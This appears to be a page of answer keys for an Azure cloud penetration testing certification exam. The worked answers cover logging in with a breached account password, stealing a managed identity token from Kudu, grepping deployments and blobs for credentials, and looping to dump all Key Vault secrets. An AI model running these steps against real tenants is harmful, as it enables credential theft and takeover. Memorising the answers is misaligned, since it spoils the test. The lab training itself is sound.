Free Practice Questions for The SecOps Group CCPenX-Az Exam

Detailed Solution:

Query role assignments for the managed identity principal:

az role assignment list \

--assignee b72a4c19-92f6-47f3-b3dd-9db5a31831d1 \

--all \

--output table

Expected output:

Principal Role Scope

------------------------------------ ---------------------- ----------------------------------------------

b72a4c19-92f6-47f3-b3dd-9db5a31831d1 Key Vault Secrets User /subscriptions/.../resourceGroups/rg-prod-apps-eastus

The assigned role is:

Key Vault Secrets User

Azure RBAC role assignments can be granted to users, groups, service principals, and managed identities.

================

The answer is the final Flag{...} value stored in Azure Key Vault and readable by the compromised App Registration.

Detailed Solution:

Stay authenticated as the service principal from Q10.

az account show

List visible Key Vaults:

az keyvault list --output table

If only one vault is returned, use it directly. If multiple vaults exist, enumerate all of them.

for kv in $(az keyvault list --query " [].name " -o tsv); do

echo " ===== $kv ===== "

az keyvault secret list \

--vault-name " $kv " \

--output table

done

Once you identify secret names, retrieve their values:

az keyvault secret show \

--vault-name < vault-name > \

--name < secret-name > \

--query value \

--output tsv

To dump all readable secrets from all visible vaults:

for kv in $(az keyvault list --query " [].name " -o tsv); do

echo " ===== Vault: $kv ===== "

for sec in $(az keyvault secret list --vault-name " $kv " --query " [].name " -o tsv); do

echo " ----- Secret: $sec ----- "

az keyvault secret show \

--vault-name " $kv " \

--name " $sec " \

--query value \

--output tsv

done

done

Look for the final value in this format:

Flag{...}

That returned secret value is the final tenant flag.

Final Answer:

Use the Flag{...} value returned by az keyvault secret show.

The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:

sumit.siddharth@azuresecops.onmicrosoft.com

Detailed Solution:

The key point is this: you are no longer only using Alex’s user permissions. You must use the Web App managed identity .

From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.

For Linux-style shell:

curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df " \

-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "

For Windows PowerShell inside Kudu:

$uri = " $env:IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df "

$response = Invoke-RestMethod -Uri $uri -Headers @{

" X-IDENTITY-HEADER " = $env:IDENTITY_HEADER

}

$token = $response.access_token

Now use the token to query Azure Resource Manager.

$sub = " 7403ec86-c39d-4d80-9efa-35c7580ecefa "

$rg = " Excalibur-Resources "

Invoke-RestMethod `

-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-01 " `

-Headers @{ Authorization = " Bearer $token " }

Next, enumerate ARM deployments.

Invoke-RestMethod `

-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments?api-version=2021-04-01 " `

-Headers @{ Authorization = " Bearer $token " }

For each deployment name returned, inspect it:

$deploymentName = " < deployment-name > "

Invoke-RestMethod `

-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments/$deploymentName?api-version=2021-04-01 " `

-Headers @{ Authorization = " Bearer $token " }

Also check deployment operations:

Invoke-RestMethod `

-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments/$deploymentName/operations?api-version=2021-04-01 " `

-Headers @{ Authorization = " Bearer $token " }

Search the output for fields like:

password

secret

adminPassword

userPassword

credential

sumit

The exposed value is the answer to Q4.

A practical one-liner on Linux would be:

curl -s -H " Authorization: Bearer $TOKEN " \

" https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups/Excalibur-Resources/providers/Microsoft.Resources/deployments/ < deployment-name > /operations?api-version=2021-04-01 " \

| jq ' .. | strings ' | grep -iE ' password|secret|credential|sumit|flag '

Final Answer:

Use the leaked secret/password value returned from the deployment metadata. Do not guess this; it is lab-generated.

================

Use az login --service-principal

Detailed Solution:

Command:

az login --service-principal \

-u c5fba7db-5e61-45bc-8944-3cd457bb19c2 \

-p ' < client-secret > ' \

--tenant 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a

Verify:

az account show --output json

Expected important field:

{

" user " : {

" name " : " c5fba7db-5e61-45bc-8944-3cd457bb19c2 " ,

" type " : " servicePrincipal "

}

}

This confirms you are authenticated as the App Registration/service principal.

================

b72a4c19-92f6-47f3-b3dd-9db5a31831d1

Detailed Solution:

Run:

az webapp identity show \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--output json

Expected output:

{

" principalId " : " b72a4c19-92f6-47f3-b3dd-9db5a31831d1 " ,

" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a " ,

" type " : " SystemAssigned "

}

The principalId is the service principal object ID of the managed identity.

Microsoft documents that managed identities provide Azure-managed identities for applications and eliminate the need to manage application secrets directly.

================

Flag{app_settings_should_not_store_secrets}

Detailed Solution:

Query App Service settings:

az webapp config appsettings list \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--output json

Search for suspicious keys:

az webapp config appsettings list \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--query " [?contains(name, ' FLAG ' ) || contains(name, ' Flag ' ) || contains(name, ' SECRET ' )] " \

--output table

Expected output:

Name SlotSetting Value

---------- ------------- ----------------------------------------

APP_FLAG False Flag{app_settings_should_not_store_secrets}

The flag is:

Flag{app_settings_should_not_store_secrets}

================

f015f36d-c07f-41fb-9bde-fffc3a22ee8b

Detailed Solution:

Log in using the supplied breached Azure account.

az login -u alex.johnson@azuresecops.onmicrosoft.com -p ' pg:Lr{k102l(fh7! '

After successful authentication, check the active Azure subscription context.

az account show

The important fields are:

{

" id " : " 7403ec86-c39d-4d80-9efa-35c7580ecefa " ,

" name " : " Azure subscription 1 " ,

" tenantDefaultDomain " : " azuresecops.onmicrosoft.com " ,

" tenantDisplayName " : " ExcaliburCorp " ,

" tenantId " : " f015f36d-c07f-41fb-9bde-fffc3a22ee8b "

}

The AAD / Microsoft Entra tenant ID is the tenantId.

Final Answer:

f015f36d-c07f-41fb-9bde-fffc3a22ee8b

================

The answer is the clientId, appId, or applicationId value inside the credential file downloaded from the sensitive-files container.

Detailed Solution:

List blobs inside the accessible container:

az storage blob list \

--account-name excaliburstore \

--container-name sensitive-files \

--sas-token " $SAS " \

--query " [].name " \

--output table

Download all files locally:

mkdir blobloot

az storage blob download-batch \

--account-name excaliburstore \

--source sensitive-files \

--destination blobloot \

--sas-token " $SAS "

Search the downloaded files for application credentials:

grep -RniE " clientId|appId|applicationId|clientSecret|tenantId|secret|password " blobloot

On Windows PowerShell:

Select-String -Path .\blobloot\* -Pattern " clientId|appId|applicationId|clientSecret|tenantId|secret|password " -CaseSensitive:$false

A typical file may look like this:

{

" tenantId " : " f015f36d-c07f-41fb-9bde-fffc3a22ee8b " ,

" clientId " : " < application-client-id > " ,

" clientSecret " : " < application-client-secret > "

}

The clientId / appId value is the answer.

Final Answer:

Use the clientId / appId value found in the blob credential file.

================